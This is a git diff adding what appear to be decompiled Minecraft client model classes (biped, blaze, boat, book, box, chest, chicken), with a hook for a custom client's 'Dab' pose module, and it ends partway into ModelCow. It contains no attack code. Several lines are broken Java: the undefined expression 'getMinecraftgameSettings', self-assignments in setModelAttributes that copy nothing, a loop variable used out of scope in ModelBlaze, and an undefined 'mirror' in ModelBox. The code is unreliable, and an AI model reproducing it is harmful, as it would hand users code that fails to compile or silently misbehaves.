+      GlStateManager.scale(1.5F / var8, 1.5F / var8, 1.5F / var8);
+      GlStateManager.translate(0.0F, 16.0F * p_78088_7_, 0.0F);
+      bipedHead.render(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      bipedBody.render(p_78088_7_);
+      bipedRightArm.render(p_78088_7_);
+      bipedLeftArm.render(p_78088_7_);
+      bipedRightLeg.render(p_78088_7_);
+      bipedLeftLeg.render(p_78088_7_);
+      bipedHeadwear.render(p_78088_7_);
+    } else {
+      if (p_78088_1_.isSneaking()) {
+        GlStateManager.translate(0.0F, 0.2F, 0.0F);
+      }
+      
+      bipedHead.render(p_78088_7_);
+      bipedBody.render(p_78088_7_);
+      bipedRightArm.render(p_78088_7_);
+      bipedLeftArm.render(p_78088_7_);
+      bipedRightLeg.render(p_78088_7_);
+      bipedLeftLeg.render(p_78088_7_);
+      bipedHeadwear.render(p_78088_7_);
+    }
+    
+    GlStateManager.popMatrix();
+  }
+  
+
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    bipedHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    bipedHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+    bipedRightArm.rotateAngleX = 
+      (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 2.0F * p_78087_2_ * 0.5F);
+    bipedLeftArm.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 2.0F * p_78087_2_ * 0.5F);
+    bipedRightArm.rotateAngleZ = 0.0F;
+    bipedLeftArm.rotateAngleZ = 0.0F;
+    bipedRightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+    bipedLeftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    bipedRightLeg.rotateAngleY = 0.0F;
+    bipedLeftLeg.rotateAngleY = 0.0F;
+    
+    if (isRiding) {
+      bipedRightArm.rotateAngleX += -0.62831855F;
+      bipedLeftArm.rotateAngleX += -0.62831855F;
+      bipedRightLeg.rotateAngleX = -1.2566371F;
+      bipedLeftLeg.rotateAngleX = -1.2566371F;
+      bipedRightLeg.rotateAngleY = 0.31415927F;
+      bipedLeftLeg.rotateAngleY = -0.31415927F;
+    }
+    
+    if (heldItemLeft != 0) {
+      bipedLeftArm.rotateAngleX = 
+        (bipedLeftArm.rotateAngleX * 0.5F - 0.31415927F * heldItemLeft);
+    }
+    
+    bipedRightArm.rotateAngleY = 0.0F;
+    bipedRightArm.rotateAngleZ = 0.0F;
+    
+    switch (heldItemRight)
+    {
+    case 0: 
+    case 2: 
+    default: 
+      break;
+    case 1: 
+      bipedRightArm.rotateAngleX = 
+        (bipedRightArm.rotateAngleX * 0.5F - 0.31415927F * heldItemRight);
+      break;
+    
+    case 3: 
+      bipedRightArm.rotateAngleX = 
+        (bipedRightArm.rotateAngleX * 0.5F - 0.31415927F * heldItemRight);
+      bipedRightArm.rotateAngleY = -0.5235988F;
+    }
+    
+    bipedLeftArm.rotateAngleY = 0.0F;
+    
+    if ((Client.instance.getModuleManager().getModuleByClass(Dab.class).isEnabled()) && 
+      (getMinecraftgameSettings.thirdPersonView > 0)) {
+      boolean pressed = Keyboard.isKeyDown(29);
+      boolean pressed2 = Keyboard.isKeyDown(157);
+      if (pressed) {
+        bipedHead.rotateAngleX = 0.5F;
+        bipedHead.rotateAngleY = 0.75F;
+        bipedRightArm.rotateAngleX = 4.75F;
+        bipedRightArm.rotateAngleY = -1.0F;
+        bipedLeftArm.rotateAngleX = 4.5F;
+        bipedLeftArm.rotateAngleY = -1.25F;
+      }
+    }
+    
+
+
+
+
+    if (swingProgress > -9990.0F) {
+      float var8 = swingProgress;
+      bipedBody.rotateAngleY = (MathHelper.sin(MathHelper.sqrt_float(var8) * 3.1415927F * 2.0F) * 0.2F);
+      bipedRightArm.rotationPointZ = (MathHelper.sin(bipedBody.rotateAngleY) * 5.0F);
+      bipedRightArm.rotationPointX = (-MathHelper.cos(bipedBody.rotateAngleY) * 5.0F);
+      bipedLeftArm.rotationPointZ = (-MathHelper.sin(bipedBody.rotateAngleY) * 5.0F);
+      bipedLeftArm.rotationPointX = (MathHelper.cos(bipedBody.rotateAngleY) * 5.0F);
+      bipedRightArm.rotateAngleY += bipedBody.rotateAngleY;
+      bipedLeftArm.rotateAngleY += bipedBody.rotateAngleY;
+      bipedLeftArm.rotateAngleX += bipedBody.rotateAngleY;
+      var8 = 1.0F - swingProgress;
+      var8 *= var8;
+      var8 *= var8;
+      var8 = 1.0F - var8;
+      float var9 = MathHelper.sin(var8 * 3.1415927F);
+      float var10 = MathHelper.sin(swingProgress * 3.1415927F) * -(bipedHead.rotateAngleX - 0.7F) * 
+        0.75F;
+      bipedRightArm.rotateAngleX = 
+        ((float)(bipedRightArm.rotateAngleX - (var9 * 1.2D + var10)));
+      bipedRightArm.rotateAngleY += bipedBody.rotateAngleY * 2.0F;
+      bipedRightArm.rotateAngleZ += MathHelper.sin(swingProgress * 3.1415927F) * -0.4F;
+    }
+    
+    if (isSneak) {
+      bipedBody.rotateAngleX = 0.5F;
+      bipedRightArm.rotateAngleX += 0.4F;
+      bipedLeftArm.rotateAngleX += 0.4F;
+      bipedRightLeg.rotationPointZ = 4.0F;
+      bipedLeftLeg.rotationPointZ = 4.0F;
+      bipedRightLeg.rotationPointY = 9.0F;
+      bipedLeftLeg.rotationPointY = 9.0F;
+      bipedHead.rotationPointY = 1.0F;
+    } else {
+      bipedBody.rotateAngleX = 0.0F;
+      bipedRightLeg.rotationPointZ = 0.1F;
+      bipedLeftLeg.rotationPointZ = 0.1F;
+      bipedRightLeg.rotationPointY = 12.0F;
+      bipedLeftLeg.rotationPointY = 12.0F;
+      bipedHead.rotationPointY = 0.0F;
+    }
+    
+    bipedRightArm.rotateAngleZ += MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedLeftArm.rotateAngleZ -= MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedRightArm.rotateAngleX += MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+    bipedLeftArm.rotateAngleX -= MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+    
+    if (aimedBow) {
+      float var8 = 0.0F;
+      float var9 = 0.0F;
+      bipedRightArm.rotateAngleZ = 0.0F;
+      bipedLeftArm.rotateAngleZ = 0.0F;
+      bipedRightArm.rotateAngleY = (-(0.1F - var8 * 0.6F) + bipedHead.rotateAngleY);
+      bipedLeftArm.rotateAngleY = (0.1F - var8 * 0.6F + bipedHead.rotateAngleY + 0.4F);
+      bipedRightArm.rotateAngleX = (-1.5707964F + bipedHead.rotateAngleX);
+      bipedLeftArm.rotateAngleX = (-1.5707964F + bipedHead.rotateAngleX);
+      bipedRightArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+      bipedLeftArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+      bipedRightArm.rotateAngleZ += MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+      bipedLeftArm.rotateAngleZ -= MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+      bipedRightArm.rotateAngleX += MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+      bipedLeftArm.rotateAngleX -= MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+    }
+    
+    func_178685_a(bipedHead, bipedHeadwear);
+  }
+  
+  public void setModelAttributes(ModelBase p_178686_1_) {
+    super.setModelAttributes(p_178686_1_);
+    
+    if ((p_178686_1_ instanceof ModelBiped)) {
+      ModelBiped var2 = (ModelBiped)p_178686_1_;
+      heldItemLeft = heldItemLeft;
+      heldItemRight = heldItemRight;
+      isSneak = isSneak;
+      aimedBow = aimedBow;
+    }
+  }
+  
+  public void func_178719_a(boolean p_178719_1_) {
+    bipedHead.showModel = p_178719_1_;
+    bipedHeadwear.showModel = p_178719_1_;
+    bipedBody.showModel = p_178719_1_;
+    bipedRightArm.showModel = p_178719_1_;
+    bipedLeftArm.showModel = p_178719_1_;
+    bipedRightLeg.showModel = p_178719_1_;
+    bipedLeftLeg.showModel = p_178719_1_;
+  }
+  
+  public void postRenderHiddenArm(float p_178718_1_) {
+    bipedRightArm.postRender(p_178718_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBlaze.java b/src/minecraft/net/minecraft/client/model/ModelBlaze.java
new file mode 100644
index 0000000..3fc1572
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBlaze.java
@@ -0,0 +1,80 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelBlaze
+  extends ModelBase
+{
+  private ModelRenderer[] blazeSticks = new ModelRenderer[12];
+  private ModelRenderer blazeHead;
+  private static final String __OBFID = "CL_00000831";
+  
+  public ModelBlaze()
+  {
+    for (int var1 = 0; var1 < blazeSticks.length; var1++)
+    {
+      blazeSticks[var1] = new ModelRenderer(this, 0, 16);
+      blazeSticks[var1].addBox(0.0F, 0.0F, 0.0F, 2, 8, 2);
+    }
+    
+    blazeHead = new ModelRenderer(this, 0, 0);
+    blazeHead.addBox(-4.0F, -4.0F, -4.0F, 8, 8, 8);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    blazeHead.render(p_78088_7_);
+    
+    for (int var8 = 0; var8 < blazeSticks.length; var8++)
+    {
+      blazeSticks[var8].render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    float var8 = p_78087_3_ * 3.1415927F * -0.1F;
+    
+
+    for (int var9 = 0; var9 < 4; var9++)
+    {
+      blazeSticks[var9].rotationPointY = (-2.0F + MathHelper.cos((var9 * 2 + p_78087_3_) * 0.25F));
+      blazeSticks[var9].rotationPointX = (MathHelper.cos(var8) * 9.0F);
+      blazeSticks[var9].rotationPointZ = (MathHelper.sin(var8) * 9.0F);
+      var8 += 1.0F;
+    }
+    
+    var8 = 0.7853982F + p_78087_3_ * 3.1415927F * 0.03F;
+    
+    for (var9 = 4; var9 < 8; var9++)
+    {
+      blazeSticks[var9].rotationPointY = (2.0F + MathHelper.cos((var9 * 2 + p_78087_3_) * 0.25F));
+      blazeSticks[var9].rotationPointX = (MathHelper.cos(var8) * 7.0F);
+      blazeSticks[var9].rotationPointZ = (MathHelper.sin(var8) * 7.0F);
+      var8 += 1.0F;
+    }
+    
+    var8 = 0.47123894F + p_78087_3_ * 3.1415927F * -0.05F;
+    
+    for (var9 = 8; var9 < 12; var9++)
+    {
+      blazeSticks[var9].rotationPointY = (11.0F + MathHelper.cos((var9 * 1.5F + p_78087_3_) * 0.5F));
+      blazeSticks[var9].rotationPointX = (MathHelper.cos(var8) * 5.0F);
+      blazeSticks[var9].rotationPointZ = (MathHelper.sin(var8) * 5.0F);
+      var8 += 1.0F;
+    }
+    
+    blazeHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    blazeHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBoat.java b/src/minecraft/net/minecraft/client/model/ModelBoat.java
new file mode 100644
index 0000000..50156a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBoat.java
@@ -0,0 +1,47 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+public class ModelBoat extends ModelBase
+{
+  public ModelRenderer[] boatSides = new ModelRenderer[5];
+  private static final String __OBFID = "CL_00000832";
+  
+  public ModelBoat()
+  {
+    boatSides[0] = new ModelRenderer(this, 0, 8);
+    boatSides[1] = new ModelRenderer(this, 0, 0);
+    boatSides[2] = new ModelRenderer(this, 0, 0);
+    boatSides[3] = new ModelRenderer(this, 0, 0);
+    boatSides[4] = new ModelRenderer(this, 0, 0);
+    byte var1 = 24;
+    byte var2 = 6;
+    byte var3 = 20;
+    byte var4 = 4;
+    boatSides[0].addBox(-var1 / 2, -var3 / 2 + 2, -3.0F, var1, var3 - 4, 4, 0.0F);
+    boatSides[0].setRotationPoint(0.0F, var4, 0.0F);
+    boatSides[1].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    boatSides[1].setRotationPoint(-var1 / 2 + 1, var4, 0.0F);
+    boatSides[2].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    boatSides[2].setRotationPoint(var1 / 2 - 1, var4, 0.0F);
+    boatSides[3].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    boatSides[3].setRotationPoint(0.0F, var4, -var3 / 2 + 1);
+    boatSides[4].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    boatSides[4].setRotationPoint(0.0F, var4, var3 / 2 - 1);
+    boatSides[0].rotateAngleX = 1.5707964F;
+    boatSides[1].rotateAngleY = 4.712389F;
+    boatSides[2].rotateAngleY = 1.5707964F;
+    boatSides[3].rotateAngleY = 3.1415927F;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    for (int var8 = 0; var8 < 5; var8++)
+    {
+      boatSides[var8].render(p_78088_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBook.java b/src/minecraft/net/minecraft/client/model/ModelBook.java
new file mode 100644
index 0000000..48d48a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBook.java
@@ -0,0 +1,71 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelBook
+  extends ModelBase
+{
+  public ModelRenderer coverRight = new ModelRenderer(this).setTextureOffset(0, 0).addBox(-6.0F, -5.0F, 0.0F, 6, 10, 0);
+  
+
+  public ModelRenderer coverLeft = new ModelRenderer(this).setTextureOffset(16, 0).addBox(0.0F, -5.0F, 0.0F, 6, 10, 0);
+  
+
+  public ModelRenderer pagesRight = new ModelRenderer(this).setTextureOffset(0, 10).addBox(0.0F, -4.0F, -0.99F, 5, 8, 1);
+  
+
+  public ModelRenderer pagesLeft = new ModelRenderer(this).setTextureOffset(12, 10).addBox(0.0F, -4.0F, -0.01F, 5, 8, 1);
+  
+
+  public ModelRenderer flippingPageRight = new ModelRenderer(this).setTextureOffset(24, 10).addBox(0.0F, -4.0F, 0.0F, 5, 8, 0);
+  
+
+  public ModelRenderer flippingPageLeft = new ModelRenderer(this).setTextureOffset(24, 10).addBox(0.0F, -4.0F, 0.0F, 5, 8, 0);
+  
+
+  public ModelRenderer bookSpine = new ModelRenderer(this).setTextureOffset(12, 0).addBox(-1.0F, -5.0F, 0.0F, 2, 10, 0);
+  private static final String __OBFID = "CL_00000833";
+  
+  public ModelBook()
+  {
+    coverRight.setRotationPoint(0.0F, 0.0F, -1.0F);
+    coverLeft.setRotationPoint(0.0F, 0.0F, 1.0F);
+    bookSpine.rotateAngleY = 1.5707964F;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    coverRight.render(p_78088_7_);
+    coverLeft.render(p_78088_7_);
+    bookSpine.render(p_78088_7_);
+    pagesRight.render(p_78088_7_);
+    pagesLeft.render(p_78088_7_);
+    flippingPageRight.render(p_78088_7_);
+    flippingPageLeft.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    float var8 = (MathHelper.sin(p_78087_1_ * 0.02F) * 0.1F + 1.25F) * p_78087_4_;
+    coverRight.rotateAngleY = (3.1415927F + var8);
+    coverLeft.rotateAngleY = (-var8);
+    pagesRight.rotateAngleY = var8;
+    pagesLeft.rotateAngleY = (-var8);
+    flippingPageRight.rotateAngleY = (var8 - var8 * 2.0F * p_78087_2_);
+    flippingPageLeft.rotateAngleY = (var8 - var8 * 2.0F * p_78087_3_);
+    pagesRight.rotationPointX = MathHelper.sin(var8);
+    pagesLeft.rotationPointX = MathHelper.sin(var8);
+    flippingPageRight.rotationPointX = MathHelper.sin(var8);
+    flippingPageLeft.rotationPointX = MathHelper.sin(var8);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBox.java b/src/minecraft/net/minecraft/client/model/ModelBox.java
new file mode 100644
index 0000000..2b95920
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBox.java
@@ -0,0 +1,112 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.WorldRenderer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelBox
+{
+  private PositionTextureVertex[] vertexPositions;
+  private TexturedQuad[] quadList;
+  public final float posX1;
+  public final float posY1;
+  public final float posZ1;
+  public final float posX2;
+  public final float posY2;
+  public final float posZ2;
+  public String field_78247_g;
+  private static final String __OBFID = "CL_00000872";
+  
+  public ModelBox(ModelRenderer p_i46359_1_, int p_i46359_2_, int p_i46359_3_, float p_i46359_4_, float p_i46359_5_, float p_i46359_6_, int p_i46359_7_, int p_i46359_8_, int p_i46359_9_, float p_i46359_10_)
+  {
+    this(p_i46359_1_, p_i46359_2_, p_i46359_3_, p_i46359_4_, p_i46359_5_, p_i46359_6_, p_i46359_7_, p_i46359_8_, p_i46359_9_, p_i46359_10_, mirror);
+  }
+  
+  public ModelBox(ModelRenderer p_i46301_1_, int p_i46301_2_, int p_i46301_3_, float p_i46301_4_, float p_i46301_5_, float p_i46301_6_, int p_i46301_7_, int p_i46301_8_, int p_i46301_9_, float p_i46301_10_, boolean p_i46301_11_)
+  {
+    posX1 = p_i46301_4_;
+    posY1 = p_i46301_5_;
+    posZ1 = p_i46301_6_;
+    posX2 = (p_i46301_4_ + p_i46301_7_);
+    posY2 = (p_i46301_5_ + p_i46301_8_);
+    posZ2 = (p_i46301_6_ + p_i46301_9_);
+    vertexPositions = new PositionTextureVertex[8];
+    quadList = new TexturedQuad[6];
+    float var12 = p_i46301_4_ + p_i46301_7_;
+    float var13 = p_i46301_5_ + p_i46301_8_;
+    float var14 = p_i46301_6_ + p_i46301_9_;
+    p_i46301_4_ -= p_i46301_10_;
+    p_i46301_5_ -= p_i46301_10_;
+    p_i46301_6_ -= p_i46301_10_;
+    var12 += p_i46301_10_;
+    var13 += p_i46301_10_;
+    var14 += p_i46301_10_;
+    
+    if (p_i46301_11_)
+    {
+      float var15 = var12;
+      var12 = p_i46301_4_;
+      p_i46301_4_ = var15;
+    }
+    
+    PositionTextureVertex var24 = new PositionTextureVertex(p_i46301_4_, p_i46301_5_, p_i46301_6_, 0.0F, 0.0F);
+    PositionTextureVertex var16 = new PositionTextureVertex(var12, p_i46301_5_, p_i46301_6_, 0.0F, 8.0F);
+    PositionTextureVertex var17 = new PositionTextureVertex(var12, var13, p_i46301_6_, 8.0F, 8.0F);
+    PositionTextureVertex var18 = new PositionTextureVertex(p_i46301_4_, var13, p_i46301_6_, 8.0F, 0.0F);
+    PositionTextureVertex var19 = new PositionTextureVertex(p_i46301_4_, p_i46301_5_, var14, 0.0F, 0.0F);
+    PositionTextureVertex var20 = new PositionTextureVertex(var12, p_i46301_5_, var14, 0.0F, 8.0F);
+    PositionTextureVertex var21 = new PositionTextureVertex(var12, var13, var14, 8.0F, 8.0F);
+    PositionTextureVertex var22 = new PositionTextureVertex(p_i46301_4_, var13, var14, 8.0F, 0.0F);
+    vertexPositions[0] = var24;
+    vertexPositions[1] = var16;
+    vertexPositions[2] = var17;
+    vertexPositions[3] = var18;
+    vertexPositions[4] = var19;
+    vertexPositions[5] = var20;
+    vertexPositions[6] = var21;
+    vertexPositions[7] = var22;
+    quadList[0] = new TexturedQuad(new PositionTextureVertex[] { var20, var16, var17, var21 }, p_i46301_2_ + p_i46301_9_ + p_i46301_7_, p_i46301_3_ + p_i46301_9_, p_i46301_2_ + p_i46301_9_ + p_i46301_7_ + p_i46301_9_, p_i46301_3_ + p_i46301_9_ + p_i46301_8_, textureWidth, textureHeight);
+    quadList[1] = new TexturedQuad(new PositionTextureVertex[] { var24, var19, var22, var18 }, p_i46301_2_, p_i46301_3_ + p_i46301_9_, p_i46301_2_ + p_i46301_9_, p_i46301_3_ + p_i46301_9_ + p_i46301_8_, textureWidth, textureHeight);
+    quadList[2] = new TexturedQuad(new PositionTextureVertex[] { var20, var19, var24, var16 }, p_i46301_2_ + p_i46301_9_, p_i46301_3_, p_i46301_2_ + p_i46301_9_ + p_i46301_7_, p_i46301_3_ + p_i46301_9_, textureWidth, textureHeight);
+    quadList[3] = new TexturedQuad(new PositionTextureVertex[] { var17, var18, var22, var21 }, p_i46301_2_ + p_i46301_9_ + p_i46301_7_, p_i46301_3_ + p_i46301_9_, p_i46301_2_ + p_i46301_9_ + p_i46301_7_ + p_i46301_7_, p_i46301_3_, textureWidth, textureHeight);
+    quadList[4] = new TexturedQuad(new PositionTextureVertex[] { var16, var24, var18, var17 }, p_i46301_2_ + p_i46301_9_, p_i46301_3_ + p_i46301_9_, p_i46301_2_ + p_i46301_9_ + p_i46301_7_, p_i46301_3_ + p_i46301_9_ + p_i46301_8_, textureWidth, textureHeight);
+    quadList[5] = new TexturedQuad(new PositionTextureVertex[] { var19, var20, var21, var22 }, p_i46301_2_ + p_i46301_9_ + p_i46301_7_ + p_i46301_9_, p_i46301_3_ + p_i46301_9_, p_i46301_2_ + p_i46301_9_ + p_i46301_7_ + p_i46301_9_ + p_i46301_7_, p_i46301_3_ + p_i46301_9_ + p_i46301_8_, textureWidth, textureHeight);
+    
+    if (p_i46301_11_)
+    {
+      for (int var23 = 0; var23 < quadList.length; var23++)
+      {
+        quadList[var23].flipFace();
+      }
+    }
+  }
+  
+  public void render(WorldRenderer p_178780_1_, float p_178780_2_)
+  {
+    for (int var3 = 0; var3 < quadList.length; var3++)
+    {
+      quadList[var3].func_178765_a(p_178780_1_, p_178780_2_);
+    }
+  }
+  
+  public ModelBox func_78244_a(String p_78244_1_)
+  {
+    field_78247_g = p_78244_1_;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelChest.java b/src/minecraft/net/minecraft/client/model/ModelChest.java
new file mode 100644
index 0000000..c7d7a83
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelChest.java
@@ -0,0 +1,43 @@
+package net.minecraft.client.model;
+
+public class ModelChest
+  extends ModelBase
+{
+  public ModelRenderer chestLid = new ModelRenderer(this, 0, 0).setTextureSize(64, 64);
+  
+  public ModelRenderer chestBelow;
+  
+  public ModelRenderer chestKnob;
+  
+  private static final String __OBFID = "CL_00000834";
+  
+
+  public ModelChest()
+  {
+    chestLid.addBox(0.0F, -5.0F, -14.0F, 14, 5, 14, 0.0F);
+    chestLid.rotationPointX = 1.0F;
+    chestLid.rotationPointY = 7.0F;
+    chestLid.rotationPointZ = 15.0F;
+    chestKnob = new ModelRenderer(this, 0, 0).setTextureSize(64, 64);
+    chestKnob.addBox(-1.0F, -2.0F, -15.0F, 2, 4, 1, 0.0F);
+    chestKnob.rotationPointX = 8.0F;
+    chestKnob.rotationPointY = 7.0F;
+    chestKnob.rotationPointZ = 15.0F;
+    chestBelow = new ModelRenderer(this, 0, 19).setTextureSize(64, 64);
+    chestBelow.addBox(0.0F, 0.0F, 0.0F, 14, 10, 14, 0.0F);
+    chestBelow.rotationPointX = 1.0F;
+    chestBelow.rotationPointY = 6.0F;
+    chestBelow.rotationPointZ = 1.0F;
+  }
+  
+
+
+
+  public void renderAll()
+  {
+    chestKnob.rotateAngleX = chestLid.rotateAngleX;
+    chestLid.render(0.0625F);
+    chestKnob.render(0.0625F);
+    chestBelow.render(0.0625F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelChicken.java b/src/minecraft/net/minecraft/client/model/ModelChicken.java
new file mode 100644
index 0000000..064242f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelChicken.java
@@ -0,0 +1,106 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelChicken extends ModelBase
+{
+  public ModelRenderer head;
+  public ModelRenderer body;
+  public ModelRenderer rightLeg;
+  public ModelRenderer leftLeg;
+  public ModelRenderer rightWing;
+  public ModelRenderer leftWing;
+  public ModelRenderer bill;
+  public ModelRenderer chin;
+  private static final String __OBFID = "CL_00000835";
+  
+  public ModelChicken()
+  {
+    byte var1 = 16;
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-2.0F, -6.0F, -2.0F, 4, 6, 3, 0.0F);
+    head.setRotationPoint(0.0F, -1 + var1, -4.0F);
+    bill = new ModelRenderer(this, 14, 0);
+    bill.addBox(-2.0F, -4.0F, -4.0F, 4, 2, 2, 0.0F);
+    bill.setRotationPoint(0.0F, -1 + var1, -4.0F);
+    chin = new ModelRenderer(this, 14, 4);
+    chin.addBox(-1.0F, -2.0F, -3.0F, 2, 2, 2, 0.0F);
+    chin.setRotationPoint(0.0F, -1 + var1, -4.0F);
+    body = new ModelRenderer(this, 0, 9);
+    body.addBox(-3.0F, -4.0F, -3.0F, 6, 8, 6, 0.0F);
+    body.setRotationPoint(0.0F, var1, 0.0F);
+    rightLeg = new ModelRenderer(this, 26, 0);
+    rightLeg.addBox(-1.0F, 0.0F, -3.0F, 3, 5, 3);
+    rightLeg.setRotationPoint(-2.0F, 3 + var1, 1.0F);
+    leftLeg = new ModelRenderer(this, 26, 0);
+    leftLeg.addBox(-1.0F, 0.0F, -3.0F, 3, 5, 3);
+    leftLeg.setRotationPoint(1.0F, 3 + var1, 1.0F);
+    rightWing = new ModelRenderer(this, 24, 13);
+    rightWing.addBox(0.0F, 0.0F, -3.0F, 1, 4, 6);
+    rightWing.setRotationPoint(-4.0F, -3 + var1, 0.0F);
+    leftWing = new ModelRenderer(this, 24, 13);
+    leftWing.addBox(-1.0F, 0.0F, -3.0F, 1, 4, 6);
+    leftWing.setRotationPoint(4.0F, -3 + var1, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 5.0F * p_78088_7_, 2.0F * p_78088_7_);
+      head.render(p_78088_7_);
+      bill.render(p_78088_7_);
+      chin.render(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      body.render(p_78088_7_);
+      rightLeg.render(p_78088_7_);
+      leftLeg.render(p_78088_7_);
+      rightWing.render(p_78088_7_);
+      leftWing.render(p_78088_7_);
+      GlStateManager.popMatrix();
+    }
+    else
+    {
+      head.render(p_78088_7_);
+      bill.render(p_78088_7_);
+      chin.render(p_78088_7_);
+      body.render(p_78088_7_);
+      rightLeg.render(p_78088_7_);
+      leftLeg.render(p_78088_7_);
+      rightWing.render(p_78088_7_);
+      leftWing.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    head.rotateAngleX = (p_78087_5_ / 57.295776F);
+    head.rotateAngleY = (p_78087_4_ / 57.295776F);
+    bill.rotateAngleX = head.rotateAngleX;
+    bill.rotateAngleY = head.rotateAngleY;
+    chin.rotateAngleX = head.rotateAngleX;
+    chin.rotateAngleY = head.rotateAngleY;
+    body.rotateAngleX = 1.5707964F;
+    rightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+    leftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    rightWing.rotateAngleZ = p_78087_3_;
+    leftWing.rotateAngleZ = (-p_78087_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelCow.java b/src/minecraft/net/minecraft/client/model/ModelCow.java
new file mode 100644
index 0000000..b05272f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelCow.java
@@ -0,0 +1,29 @@
+package net.minecraft.client.model;
+
+public class ModelCow extends ModelQuadruped
+{
